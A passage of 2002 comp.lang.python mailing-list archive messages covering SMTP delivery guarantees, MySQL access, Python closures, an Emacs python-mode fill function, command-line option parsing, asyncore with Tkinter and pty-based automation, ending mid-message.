<20020503124802.F22DA2F190@cbbrowne.com> Message-ID: <20020503135951.GA4604@devel.trillke> Christopher Browne wrote: > > On Thu, May 02, 2002 at 10:45:29PM -0400, Christopher Browne wrote: > > > The BIG problem with the "rolling via SMTP" is that SMTP doesn't > > > provide you _any_ kind of end-to-end guarantees on delivery. > > > > Theoretically you are right. SMTP by itself does not guarantee > > much of anything. But using something like the well (C-)written > > highly modular 'qmail' on both sides might make it easy to be sure that > > a message has been sent and received. You should prefer peer-to-peer > > relaying instead of sending it through several hops. > > I am pretty sure that you can get guarantees without having to resort > > to implement TCP over mail :-) > > > > I admit that i haven't tried such a setup myself. But i would definitely > > give it a look especially because qmail is - apart from highly > > secure - fast and very easy to configure. > > Which SMTP server you use makes _zero_ difference if some misconfiguration > means that dropping messages in means they go in the "bit bucket"; thats exactly the reason i talked about 'peer-to-peer' and qmail on both sides. We are *not* talking about putting some SMTP-servers somewhere on the net and using them as intermediate relays. More specifically the idea is that you configure 'smtproutes' to directly deliver messages to a specific server (without any intermediate hops). The OP certainly wants to have complete control over *all* smtp-instances to make sure that QoS-properties can be guaranteed. And of course you have to be sure that nothing is misconfigured. What do you think happens if you misconfigure IBM MQSeries? holger From gh_pythonlist at gmx.de Wed May 1 15:19:55 2002 From: gh_pythonlist at gmx.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Wed, 1 May 2002 21:19:55 +0200 Subject: Help: Using MyODBC with Python In-Reply-To: <3CD03ACF.B90C1F0A@textraeume.de> References: <3CD03ACF.B90C1F0A@textraeume.de> Message-ID: <20020501191955.GC1856@lilith.my-fqdn.de> * Sabine Richter [2002-05-01 20:58 +0200]: > Hello, > > I downloaded and installed myODBC 3.51. Mmh. That is a Unix implementation for ODBC ... > As far as I understand, it is > only the driver, which provides the connection to the database. In my > example, it is MySQL 3.23.49. So you want to access a MySQL database from Python? Good news! You can take all that ODBC stuff and feed /dev/null with it. ;-) There's a Python module for accessing MySQL databases. If that is what you want, run, don't walk to http://sourceforge.net/projects/mysql-python This module is an implementation of the Python database API (aka DB-API), version 2. A lot of Python database resources are available here: http://www.python.org/sigs/db-sig/ This might be interested in this article: http://www.linuxjournal.com/article.php?sid=2605 while it talks about a different database module, this doesn't matter much. Thanks to the Python DB-API, the modules all share the same interface. Gerhard -- This sig powered by Python! Au?entemperatur in M?nchen: 15.2 ?C Wind: 2.3 m/s From peter at engcorp.com Sun May 12 22:47:04 2002 From: peter at engcorp.com (Peter Hansen) Date: Sun, 12 May 2002 22:47:04 -0400 Subject: python, a scripting language? References: Message-ID: <3CDF2928.50F42912@engcorp.com> "Erlend J. Leiknes" wrote: > > A friend of mine which is a java programmer insists on that python is > scripting language... Just what is the point of the question? What conclusions will your friend be drawing if the answer is "yes, it's a scripting language" and what conclusions will he/she draw if the answer is the opposite? Or could you instead just get your friend to define precisely what "scripting language" really means to him/her? Then instead of arguing about something without defining our terms -- which is never very productive -- we can address the real issue directly. > Anyway... I would be happy to hear some reasons why python is not a > scripting language... Why? -Peter From egrossde at yahoo.de Sun May 5 14:16:22 2002 From: egrossde at yahoo.de (jb) Date: Sun, 05 May 2002 20:16:22 +0200 Subject: Global variables in different moduls References: <3cd56d91_1@goliath2.newsgroups.com> Message-ID: <3cd574f2_1@goliath2.newsgroups.com> jb wrote: Thanks, now I see. -- Janos Blazi Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort; (Dumas) -----------== Posted via Newsfeeds.Com - Uncensored Usenet News ==---------- http://www.newsfeeds.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Ulimited Fast Downloads - 19 Servers =----- From bh at intevation.de Thu May 9 16:44:21 2002 From: bh at intevation.de (Bernhard Herzog) Date: 09 May 2002 22:44:21 +0200 Subject: Comments References: Message-ID: <6qznz9hx0a.fsf@abnoba.intevation.de> Philip Swartzleonard writes: [Emacs python-mode problems with fill-paragraph (M-Q) and comments] I ran into this as well. I couldn't find a simple solution, so I hacked up complex perhaps not very elegant one. Starting out with the fill function from the lisp-mode. Over time I extended it a bit and now it handles strings as well. Basically, it's a python-mode specific fill-paragraph-function, so put something like (setq fill-paragraph-function 'python-fill-paragraph-new) into your python-mode hook. Bernhard Here's the code. (defun python-fill-comment (&optional justify) "Fill the comment paragraph around point" (let (;; Non-nil if the current line contains a comment. has-comment ;; If has-comment, the appropriate fill-prefix for the comment. comment-fill-prefix) ;; Figure out what kind of comment we are looking at. (save-excursion (beginning-of-line) (cond ;; A line with nothing but a comment on it? ((looking-at "[ \t]*#[# \t]*") (setq has-comment t comment-fill-prefix (buffer-substring (match-beginning 0) (match-end 0)))) ;; A line with some code, followed by a comment? Remember that the hash ;; which starts the comment shouldn't be part of a string or character. ((progn (while (not (looking-at "#\\|$")) (skip-chars-forward "^#\n\"'\\") (cond ((eq (char-after (point)) ?\\) (forward-char 2)) ((memq (char-after (point)) '(?\" ?')) (forward-sexp 1)))) (looking-at "#+[\t ]*")) (setq has-comment t) (setq comment-fill-prefix (concat (make-string (current-column) ? ) (buffer-substring (match-beginning 0) (match-end 0))))))) (if (not has-comment) (fill-paragraph justify) ;; Narrow to include only the comment, and then fill the region. (save-restriction (narrow-to-region ;; Find the first line we should include in the region to fill. (save-excursion (while (and (zerop (forward-line -1)) (looking-at "^[ \t]*#"))) ;; We may have gone to far. Go forward again. (or (looking-at "^[ \t]*#") (forward-line 1)) (point)) ;; Find the beginning of the first line past the region to fill. (save-excursion (while (progn (forward-line 1) (looking-at "^[ \t]*#"))) (point))) ;; Lines with only hashes on them can be paragraph boundaries. (let ((paragraph-start (concat paragraph-start "\\|[ \t#]*$")) (paragraph-separate (concat paragraph-separate "\\|[ \t#]*$")) (fill-prefix comment-fill-prefix)) ;;(message "paragraph-start %S paragraph-separate %S" ;;paragraph-start paragraph-separate) (fill-paragraph justify)))) t)) (defun python-fill-string (start &optional justify) "Fill the paragraph around (point) in the string starting at start" ;; basic strategy: narrow to the string and call the default ;; implementation (let (;; the start of the string's contents string-start ;; the end of the string's contents string-end ;; length of the string's delimiter delim-length ;; The string delimiter delim ) (save-excursion (goto-char start) (if (looking-at "\\('''\\|\"\"\"\\|'\\|\"\\)\\\\?\n?") (setq string-start (match-end 0) delim-length (- (match-end 1) (match-beginning 1)) delim (buffer-substring-no-properties (match-beginning 1) (match-end 1))) (error "The parameter start is not the beginning of a python string")) ;; if the string is the first token on a line and doesn't start with ;; a newline, fill as if the string starts at the beginning of the ;; line. this helps with one line docstrings (save-excursion (beginning-of-line) (and (/= (char-before string-start) ?\n) (looking-at (concat "[ \t]*" delim)) (setq string-start (point)))) (forward-sexp (if (= delim-length 3) 2 1)) ;; with both triple quoted strings and single/double quoted strings ;; we're now directly behind the first char of the end delimiter ;; (this doesn't work correctly when the triple quoted string ;; contains the quote mark itself). The end of the string's contents ;; is one less than point (setq string-end (1- (point)))) ;; Narrow to the string's contents and fill the current paragraph (save-restriction (narrow-to-region string-start string-end) (let ((ends-with-newline (= (char-before (point-max)) ?\n))) (fill-paragraph justify) (if (and (not ends-with-newline) (= (char-before (point-max)) ?\n)) ;; the default fill-paragraph implementation has inserted a ;; newline at the end. Remove it again. (save-excursion (goto-char (point-max)) (delete-char -1))))) ;; return t to indicate that we've done our work t)) (defun python-fill-paragraph-new (&optional justify) "Like \\[fill-paragraph], but handle Python comments and strings. If any of the current line is a comment, fill the comment or the paragraph of it that point is in, preserving the comment's indentation and initial `#'s. If point is inside a string, narrow to that string and fill. " (interactive "P") (let* ((bod (py-point 'bod)) (pps (parse-partial-sexp bod (point)))) (cond ;; are we inside a comment or on a line with only whitespace before ;; the comment start? ((or (nth 4 pps) (save-excursion (beginning-of-line) (looking-at "[ \t]*#"))) (python-fill-comment justify)) ;; are we inside a string? ((nth 3 pps) (python-fill-string (nth 2 pps))) ;; otherwise use the default (t (fill-paragraph justify))))) -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From quitelikely at yahoo.com.au Sat May 4 09:19:10 2002 From: quitelikely at yahoo.com.au (Patrick W) Date: 04 May 2002 23:19:10 +1000 Subject: Using functional tools References: <3CD39DAD.D5BC3F9C@vip.fi> Message-ID: <82znzgaw4x.fsf@acropolis.localdomain> Alex Martelli writes: > List comprehensions are an eminently "(functional)" way -- consider that > Python took them from Haskell, surely a contender for "most functional > of functional languages":-). However, Python's syntax for them was > indeed adapted to be more Pythonic, and in particular to use the > keyword 'for'. Therefore, it's hard to say whether a list comprehension > meets your requirements, or not! > > With a list comprehension, I'd do something like: > > def feedOneOfN(sequence, function, N): > def identity(x): return x > funs = [identity]*(N-1) + [function] > return [funs[i%N](x) for x in sequence] Too clever by half here Alex ;-) The 'i' in the last line is unbound, but if it's meant to be an x, it won't work correctly because you'd be selecting a function based on the _value_ of x in sequence rather than the _position_ of x in sequence. A similar approach with list comprehensions, but easier to understand IMO, would be something like: def do_every_nth(seq, func, n): def transform(item, index): if index % n == n - 1: return func(item) else: return item return [transform(seq[x], x) for x in range(len(seq))] From x.x at x.x Fri May 24 11:47:44 2002 From: x.x at x.x (None) Date: Fri, 24 May 2002 17:47:44 +0200 Subject: icons in Tkinter under Windows Message-ID: Hello, Can I change the default Tkinter icon given to the applications? (excuse me for my english) Thanks. -- Ne pas r?pondre ? l'adresse d'origine du message (wanadoo.fr at wanadoo.fr), mais utiliser celle fournie par votre correspondant dans le corps du message. Merci. From bokr at oz.net Tue May 14 21:37:23 2002 From: bokr at oz.net (Bengt Richter) Date: 15 May 2002 01:37:23 GMT Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> Message-ID: On 14 May 2002 16:03:25 -0700, spam at bugbear.com (Paul Graham) wrote: >I am not a Python expert, and I'm hoping someone >can tell me how in Python to write a function >of one argument x that returns a function of one >argument y that returns x+y. > >Here, in Scheme, is what I want to write: > >(define foo (x) (lambda (y) (+ x y))) > With nested scopes (default in 2.2, import nested_scopes from __future__ in 2.1), you can do this: >>> def foo(x): return lambda y: x+y ... >>> f = foo(7) >>> f(3) 10 >>> import dis <-- handy disassembler for seeing what functions do etc. >>> dis.dis(f) 0 SET_LINENO 1 3 LOAD_DEREF 0 (x) <-- this loads the 7 from the closure 6 LOAD_FAST 0 (y) <-- this loads the argument to the function 9 BINARY_ADD 10 RETURN_VALUE >>> f.func_closure (,) >>> hex(id(7)) '0x795910' Doing it as above captures x in a closure. I used a small int 7 knowing the same instance would be used, and we could recognize it in the closure by its id. >I found on the web a page that says I could define >this as follows: > >def addn(x): > return lambda y,z=y: x+z > I don't think that's quite right. The idea is to capture x in a way that works like the closure, and a dummy default value is the mechanism, so I think it should be: >>> def foo(x): return lambda y,z=x: y+z ... >>> f = foo(7) >>> f(3) 10 >>> dis.dis(f) 0 SET_LINENO 1 3 LOAD_FAST 0 (y) <-- this loads the first function arg 6 LOAD_FAST 1 (z) <-- this simulates the closure effect 9 BINARY_ADD \_ unless you pass a second arg 10 RETURN_VALUE >>> f.func_closure <-- there isn't any (None) >>> f.func_defaults (7,) >>> f(3,5) <-- the second arg overrides, so it's not a proper solution 8 >but I don't think this is exactly the same thing, >because it returns a function that takes a second >optional argument. That is a substantial difference. >If the Scheme function is inadvertently called >(e.g. in someone else's code) with two arguments, it >would signal an error, whereas the code above would >quietly give the wrong answer. > right >I would appreciate it if someone could tell me the >standard way to write this so that it returns a >function of exactly one argument. > See above, but BTW, you don't have to use lambda at all: >>> def foo(x): ... def forget_this_name(y): ... return x+y ... return forget_this_name ... >>> f = foo(7) >>> f(3) 10 >>> dis.dis(f) 0 SET_LINENO 2 3 SET_LINENO 3 6 LOAD_DEREF 0 (x) <-- this loads the 7 from the closure 9 LOAD_FAST 0 (y) <-- this loads the function arg 12 BINARY_ADD 13 RETURN_VALUE 14 LOAD_CONST 0 (None) <--this is dead boilerplate code you don't get with lambda 17 RETURN_VALUE >>> f.func_closure (,) <-- proper closure this time. Note hex location >>> f.func_defaults <-- no defaults >>> f(3,5) <-- strictly one arg, so this fails Traceback (most recent call last): File "", line 1, in ? TypeError: forget_this_name() takes exactly 1 argument (2 given) >>> hex(id(7)) '0x795910' <--hex location of 7 HTH Regards, Bengt Richter From akakakhel at attbi.com Fri May 31 15:28:02 2002 From: akakakhel at attbi.com (Ali K) Date: Fri, 31 May 2002 19:28:02 GMT Subject: Internat Message-ID: <69QJ8.68711$ux5.82517@rwcrnsc51.ops.asp.att.net> Can one use Python as a language for ASP or CGI or something? From mwh at python.net Fri May 24 06:10:01 2002 From: mwh at python.net (Michael Hudson) Date: Fri, 24 May 2002 10:10:01 GMT Subject: build on HP 11 (linking), tkinter modul References: <14b92abf.0205232320.85d9350@posting.google.com> Message-ID: michael.m.ebert at daimlerchrysler.com (Michael Ebert) writes: > It seems to be a tkinter problem. tk8.3 and tcl8.3 are installed. > I there a possibility to skip the tkinter modul, I don't need it > necessarily. You can edit the "disable_module_list" near the top of setup.py. Cheers, M. -- One of the great skills in using any language is knowing what not to use, what not to say. ... There's that simplicity thing again. -- Ron Jeffries From daldridge at austin.rr.com Sat May 18 22:16:08 2002 From: daldridge at austin.rr.com (David Aldridge) Date: 18 May 2002 19:16:08 -0700 Subject: Problems importing _sre w/VC7-compiled Python 2.1 References: Message-ID: <597ee21d.0205181816.538263d0@posting.google.com> martin at v.loewis.de (Martin v. Loewis) wrote in message news:... > "RoadRunner eNews" writes: > > > I'm no Python guru, so am at a loss on how to continue at this > > point. > > I recommend to try CVS Python. > > Regards, > Martin Following your suggestion, I tried using ActiveState's 2.1.3 tarball (easier than a CVS checkout for me...). Sadly, I got the same behavior. Anybody else have ideas? (BTW, the 2.2.1 tarball also behaved the same. I need a 2.1x solution though, as using 2.2 is out of the question for various reasons not worth mentioning here...) Thanks, David From pyth at devel.trillke.net Thu May 30 08:13:55 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 30 May 2002 14:13:55 +0200 Subject: How to concatenate list members In-Reply-To: ; from ruediger.maehl_nospam@web.de on Thu, May 30, 2002 at 02:02:38PM +0200 References: Message-ID: <20020530141355.I17248@prim.han.de> Ruediger Maehl wrote: > Hello Pythoneers, > > I would like to concatenate all members of a list of strings. > How can I do that? > I know, I can use a for loop over all elements and concatenate > them to one string. But is there another more efficient solution? 1) "sep".join(somelist) joins all objects in somelist (but the objects must of string-type!) 2) "sep".join(map(str, somelist)) joins the string-representations of all objects in somelist regards, holger From gherron at islandtraining.com Thu May 30 15:42:35 2002 From: gherron at islandtraining.com (Gary Herron) Date: Thu, 30 May 2002 12:42:35 -0700 Subject: clearing subclassed lists/dicts In-Reply-To: References: Message-ID: <200205301242.36014.gherron@islandtraining.com> On Thursday 30 May 2002 11:38 am, g2 at iowegian.com wrote: > Hi All, > > I've gotten interested in subclassing lists and dictionaries, and that got > me wondering if there's an elegant way to clear the contents of the > underlying type. > > I tried a couple of things that I didn't really expect to work: Use del self[:] in the clear method: >>> class L(list): ... def clear(self): ... del self[:] ... >>> l = L() >>> l.append(1) >>> l [1] >>> l.clear() >>> l [] >>> Gary Herron From zayats at blue.seas.upenn.edu Wed May 22 18:22:58 2002 From: zayats at blue.seas.upenn.edu (Salim Zayat) Date: 22 May 2002 22:22:58 GMT Subject: Importing Self Message-ID: Hey there. I am running into a weird sort of problem. I had two versions of the same tree-drawing code, a module to be used by another program. I made some corrections to the second. Now, for some reason, it is getting hung up in some stupid error. I made a class named Error in my file. In the first version, I can merely say : isinstance(e, Error) and it executes the statement fine. However when I try the same in the second file, I get an Exception. But, when I import the module itself, then say: isinstance(path.filename.Error) it works fine. Why is this? What are these sort of problems indicituve of? Salim From systhree at nospam.mailandnews.com Mon May 6 04:16:12 2002 From: systhree at nospam.mailandnews.com (Dan Polak) Date: Mon, 6 May 2002 10:16:12 +0200 Subject: high volume/speed gethostbyaddr how? References: Message-ID: In article , anthony at interlink.com.au says... > > >>> Dan Polak wrote > > What is a good way to retrieve the names for a 100 hosts within a few > > seconds? > > You could always use the DNS code from pydns.sf.net... > Thank you! Wasn't aware of that possibility. Just took a quick look, but the doc says: 'Note that the DnsAsyncRequest stuff is currently not working'. I think I'll stick with the threads solution (it's simple and I have it working!). Dan From mlh at vier.idi.ntnu.no Tue May 14 06:21:37 2002 From: mlh at vier.idi.ntnu.no (Magnus Lie Hetland) Date: Tue, 14 May 2002 10:21:37 +0000 (UTC) Subject: which db should I use? References: Message-ID: >I have a project that I want to do with python. It involves a database >table with some 100,000 rows, total size about 400MB and climbing. I >will be adding about 700 rows a day, and occasionally want to do a >query, but only occasionally. (I am putting all the posts from an active >newsgroup in to a db for data gathering, and to learn python and sql >stuff) But I don't know which db module would work better for me?I am >running this on a linux box, and cross platform is not a big deal, I am >looking at both postgres and mysql. Since I have 0 experience with >either one especially in context of interfacing with python. I'd like >suggestions please. I would suggest checking out Metakit (http://www.equi4.com/metakit/python.html), a very versatile and easy-to-use database package with bindings for Python. (There is an SQL front-end for it too, but you probably won't need that.) >thanks all -- Magnus Lie Hetland The Anygui Project http://hetland.org http://anygui.org From aleax at aleax.it Sat May 25 14:53:48 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 25 May 2002 20:53:48 +0200 Subject: Python vs. Perl, which is better to learn? In-Reply-To: <83y9e8jf7l.fsf@panacea.canonical.org> References: <6A5D8.30090$CN3.920263@news2.tin.it> <83y9e8jf7l.fsf@panacea.canonical.org> Message-ID: <02052520534806.08949@arthur> On Saturday 25 May 2002 19:43, Kragen Sitaker wrote: > The following message is a courtesy copy of an article > that has been posted to comp.lang.python as well. I think I haven't been posting or even following c.l.py for a couple of weeks, what between trips and book editing, so it's funny to see this appear in my mailbox out of the blue (no idea of when I wrote the original to which you're now replying). Still, as you seem to be under very serious misconceptions, I'll take time to try and help...: > Alex Martelli writes: > > Find-matching-paren makes short work of that. If anything, the > > problems with refactoring in C++ or Java come from their horrid > > choice of leaving this / self *IMPLICIT* -- so a reference to > > any name X may or may not mean self.X / this->X and the poor > > editor can hardly help you with THAT as you move code between > > classes (or, in C++, from in-class to out-of-class)... > > I don't see why the editor can't help you with that --- it's > statically decidable. Sorry to pollute this NG with C++ code, but it's apparently needed to help Kragen see. Consider a simple example: template class Y: public X { public: int foo() { return x; } }; struct A { int x; }; int x = 45; struct B { }; Y ay; Y by; #include int main() { ay.x = 23; printf("%d %d\n", ay.foo(), by.foo()); return 0; } Now, as you're editing this, how is it "statically decidable" whether the 'x' mentioned in the template is this->x or a global -- when it's either in two almost identical uses of the same template in adjacent lines?! Of course, the preprocessor allows even more such horrors, but, as you see, you don't need any preprocessor for the problem to appear -- a little pure C++ amply suffices. Java's a bit better because it's more restrictive and poorer -- no preprocessor, no templates, and so on. However, it's perfectly legal Java to import with a * from a package, AND inherit from a class, which are not yet defined or not accessible to the editor _as you are editing_. They'll have to be defined later before you can compile, but, whatever gave you the impression that code being edited is constrained to be compilable *at each stage it passes through while you're editing it*?! There is fortunately no such constraint -- and therefore, the editor cannot generally know if a reference to 'X' comes from the as-yet-unknown base class, or from a *-imported package. Again, therefore, the horrid design choice of leaving this-> / self. implicit bites. Alex From phr-n2002a at nightsong.com Sat May 4 04:43:12 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 04 May 2002 01:43:12 -0700 Subject: module random: delay in "seeding" References: Message-ID: <7xznzg717j.fsf@ruckus.brouhaha.com> Tim Peters writes: > > While it is quite understandable that normally distributed numbers > > come in pairs, but I thought seed() resets the state of random module... > > I think this sometimes can cause errors. > > I agree, but it's one of those things that can't be changed without risking > breaking code relying on the broken behavior (which has been broken > forever). If you get unanimous agreement from all the usual c.l.py suspects > that they won't piss and moan if I fix it, I will. I'm in favor of fixing it. From max at alcyone.com Thu May 2 02:57:17 2002 From: max at alcyone.com (Erik Max Francis) Date: Wed, 01 May 2002 23:57:17 -0700 Subject: Theoretical question about Lambda References: <3CD0DCD6.4050403@vip.fi> Message-ID: <3CD0E34D.9A3396B@alcyone.com> pekka niiranen wrote: > Is there any forced need for Lambda's in Python ? I mean does Lambda > contribute anything > that cannot be done otherwise in Python ? In Python, lambdas really just act as anonymous functions. They obviate the need to give a name to a function that you might only use in one instance. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Life is one long process of getting tired. \__/ Samuel Butler Interstelen / http://www.interstelen.com/ A multiplayer, strategic, turn-based Web game on an interstellar scale. From cliechti at gmx.net Thu May 23 17:51:36 2002 From: cliechti at gmx.net (Chris Liechti) Date: 23 May 2002 23:51:36 +0200 Subject: Parsing command line options References: <3nmqeu837rvb7laatj4pfaeblgu853siu1@4ax.com> Message-ID: Daniel Klein wrote in news:3nmqeu837rvb7laatj4pfaeblgu853siu1 at 4ax.com: > I am converting a Java application to Python. The application has > several optional '-Dproperty=value' commandline options that can be > specified in any combination and in any sequence. Is there something > equivalent in Python? > > I took a look at the 'getopt' module but the Python commandline does > not allow you to use options other than those that are > 'understandable' by the interperator. The only way I can figure to > implement this is to create my own syntax and pass these as arguments > to sys.argv. > > Am I on the right track or am I derailed? ;-) > > Daniel Klein > that should work very well with getopt. something like that (untested): try: opts, args = getopt.getopt(sys.argv[1:], "D:", ["define=",] ) except getopt.GetoptError: # print help information and exit: usage() sys.exit(2) for o, a in opts: if o in ("-D", "--define"): try: key, value = a.split('=') #... except ValueError: #error in arg, no or more than one = use it like: $ python script.py -Dhello=123 chris -- Chris From jdoe at nowhere.com Sat May 18 18:31:20 2002 From: jdoe at nowhere.com (Jane Doe) Date: Sat, 18 May 2002 17:31:20 -0500 Subject: PyGreSQL Linux Installation Help? Message-ID: <3CE6D638.8010603@nowhere.com> Hi, could anyone let me know what to do to install PyGreSQL on Redhat Linux? Thanks. From marco at morca.de Thu May 23 11:19:54 2002 From: marco at morca.de (Marco Machmer) Date: Thu, 23 May 2002 17:19:54 +0200 Subject: python for webapplication tests Message-ID: hy there, knows anybody a project or program for testing webapplications with python? (webappUnitTest or so) ma From psinghal at tcs.odc.ml.com Wed May 15 03:07:39 2002 From: psinghal at tcs.odc.ml.com (psinghal at tcs.odc.ml.com) Date: Wed, 15 May 2002 12:37:39 +0530 Subject: python download Message-ID: <20020515_070739_011138.psinghal@tcs.odc.ml.com> Hi all, I want to download python and my firewall restricts me from downloading an exe. is there any place I can download python 2.2.2 in smaller parts in a zip or something? TIA Puneet. From aleax at aleax.it Mon May 13 03:41:29 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 13 May 2002 07:41:29 GMT Subject: print string+ in for loop References: Message-ID: Delaney, Timothy wrote: ... >> for c in word: >> print c+ > > It will never go in, but what would you expect the above to do? Give > examples of input and output. I have absolutely no idea what you want to > do. If you give examples of input and output, we can tell you the Pythonic > Way To Do It. I bet the OP just wants Yet Another Way to express: for c in word: sys.stdout.write(c) Alex From max at alcyone.com Sun May 26 16:41:43 2002 From: max at alcyone.com (Erik Max Francis) Date: Sun, 26 May 2002 13:41:43 -0700 Subject: Google API and Python References: <7gg2fu8p9s87ls0071rdgeiijo0dr8ol3v@4ax.com> Message-ID: <3CF14887.E00A777A@alcyone.com> "Fernando Rodr?guez" wrote: > Where can I find some examples f using the google api with Python? > O:-) http://diveintomark.org/projects/#pygoogle -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From danyelf at acm.org Tue May 7 15:29:53 2002 From: danyelf at acm.org (Danyel Fisher) Date: Tue, 7 May 2002 12:29:53 -0700 Subject: python: cross-platform? References: <3CD7F74A.197E5CB8@millfilm.co.uk> Message-ID: I was pleased to discover some time back that code written entirely on a UNIX machine worked with virtually [*] no changes on a PC. So--assuming you aren't doing anything too exotic, you should find that most code you generate is largely cross-platform. [*] Ok, so the original coder had written something like new Socket( host, port ) it turns out that PC systems want the input to be a tuple, new socket( (host, port) ) "Eric Texier" wrote in message news:3CD7F74A.197E5CB8 at millfilm.co.uk... > Is there a guide line for writing cross-platform code in python. I am > dealing with only one os for now but I would like to be sure that I am > using only cross platform code. > Thanks in advance > From wlsonna at attglobal.net Thu May 16 20:55:34 2002 From: wlsonna at attglobal.net (William Sonna) Date: 17 May 2002 00:55:34 GMT Subject: Jython with JDK1.4 References: <3ce35b8a$0$29462@echo-01.iinet.net.au> Message-ID: <0O7zTzsxerl5-pn2-FdGVeePV0LXy@localhost> On Thu, 16 May 2002 07:13:54 UTC, "Rob Hall" wrote: > I am having trouble compiling the jython 2.1 demo code. Compile _seems_ to > work, but the classes won't run. > > Is it compatible with jdk1.4? Should I step down to 1.3? > > Rob > > Jython works fine with jdk1.4 on my NT box at work. I am primarily using the Jython plugin for jEdit to run Python code, however, and have not attempted to compile the system, nor have I compiled anything with jythonc. Still getting my feet wet..... From greg at cosc.canterbury.ac.nz Wed May 1 20:32:38 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Thu, 02 May 2002 12:32:38 +1200 Subject: OT: Happy Birthday Larry Niven References: <3cce9f3a$1_6@goliath.newsgroups.com> <3CCEBD17.5040903@jerf.org> <3ccf161d$1_7@goliath.newsgroups.com> Message-ID: <3CD08926.4F5EDC5C@cosc.canterbury.ac.nz> Jeff Shannon wrote: > > Motie engineers were capable of adapting bits and pieces of > whatever in ways that would make a human's brain explode, but > turned out to function remarkably well. > > This sounds exactly like Perl to me -- it *can* work remarkably > well, if you're genetically designed to grok it, but for a normal > human, it's more likely to make your brain explode. :) The Moties would use Watchmakers to do most of the grunt work of Perl programming, I think. Let a few Watchmakers loose on your Perl program, and they'd rewrite it, the Perl interpreter and the operating system, and rebuild the hardware it runs on, several times over before you could tell them to stop... -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From QnickQm at alum.mit.edu Thu May 30 23:40:33 2002 From: QnickQm at alum.mit.edu (Nick Mathewson) Date: Fri, 31 May 2002 03:40:33 GMT Subject: create a tmp file for system execution References: <3CF4E711.8A175798@millfilm.co.uk> Message-ID: In article <3CF4E711.8A175798 at millfilm.co.uk>, Eric Texier wrote: > I have a py script executing a bunch of os.system in a loop. > It is not very fast and I was wondering if it will not be better > to recreate a execution file. > > My 2 questions: > > 1) what is faster for a big number of call > > for i in range(1,2000): > os.system("ls F1.%d F2.%d" % ( i , i ) " ) > > OR > > fileOut = open("tmpFile",w) > for i in range(1,2000): > fileOut.write("ls F1.%d F2.%d" % ( i , i ) " ) > > fileOut.close() > os.system("csh -c 'source tmpFile' ") > os.system("rm -f tmpFile") Which is faster? It probably depends on your platform, but I'd be surprised if the second option was much faster than the first... unless csh bundles its own 'ls' implementation (which tcsh, at least does). Let's think about what's going on here. In the first case, the Python program either needs to handle the request itself (which it won't) or fork a new process for each os.system call. In the second case, csh needs to handle each request itself (which it can for "ls"), or fork a new process. The =real= solution might be to reimplement the os.system call in Python. If you're doing os.ls, for instance, you can call os.listdir instead. That will be faster than either alternative. Optimally Yours, -- Nick Mathewson Remove Q's to respond. No spam. From rune.hansen at vivenus.no Tue May 14 10:36:19 2002 From: rune.hansen at vivenus.no (Rune Hansen) Date: Tue, 14 May 2002 14:36:19 GMT Subject: Tkinter, asyncore - Two questions Message-ID: Hello, I've written an Tkinter application that uses asyncore to connect to a streaming server. This is the code for the asyncore loop: if[....] self.sc = client(host[0],int(port[0]),self,self.readPasswordFile()) self.poll() else: print "could not find configuration file" def poll(self): try: asyncore.poll(0.05) self.master.after(100, self.poll) except: #Logg errrors ? print "Poll Failed.." #print to status area ? pass My question is : The poll() function: is this the "right" way to do this? I believe that I've read a news post from Fredrik Lundh where he stated that the above might not be the best way to do this..without references to the "right" way of course:-) Question number two. I'm unable to catch any errors in the asyncore loop. Before and during connection I can get error messages from the socket object. But I've found no way to get error messages from the class after the connection is established. If I remove the network connection and try to update the stream or post to the socket nothing happens. When I reconect the network my application just continues to serve like nothing has happened. This is of course nice, but I had hoped to get an error of some kind so that I could tell the user that the service is unavailible. I've not included any code from the asyncore class since it's alomost identical to the snipplet in the modules documentation. regards /rune -- Rune Hansen rune.hansen at viventus.no "Engineering does not require science. Science helps a lot but people built perfectly good brick walls long before they knew why cement works." --Allan Cox From noah at noah.org Thu May 16 13:02:23 2002 From: noah at noah.org (Noah) Date: Thu, 16 May 2002 10:02:23 -0700 Subject: A pure Python solution that works like expect ???? In-Reply-To: Message-ID: I'm working on a pure python expect right now... I'm not sure when it will be done. I'm hoping to get a working version done today. Yours, Noah -----Original Message----- From: python-list-admin at python.org [mailto:python-list-admin at python.org]On Behalf Of Donn Cave Sent: Thursday, May 16, 2002 8:31 AM To: python-list at python.org Subject: RE: A pure Python solution that works like expect ???? Quoth Lance Ellinghaus : | | The PySSH library does not work when you must specify the password. | Must I break down and use Perl for this? The Perl modules work | correctly for this.. I just did not want to have to write it all in | Perl. | | This is running on Solaris 2.8. The key is whether you have access to the pty device, the pseudotty that looks like a real tty to the application. Check for posix.openpty and posix.forkpty. If it's there, then you can write your interface in Python, at least in theory. It's a far cry from Expect, but the interface rules are going to be pretty simple and Expect might be overkill anyway. The main hurdle will be the quirks of the pty device. You can look at pty.py in the library, but if it doesn't help, you don't need it. I'm not saying there isn't a Python Expect out there for you, maybe there is, just that it isn't absolutely necessary. Donn Cave, donn at u.washington.edu From jb at cascade-sys.com Wed May 1 18:43:09 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Wed, 01 May 2002 15:43:09 -0700 Subject: Python vs. Perl, which is better to learn? References: Message-ID: <3CD06F7D.55011B1E@cascade-sys.com> Mark McEahern wrote: > As others have remarked, I prefer the 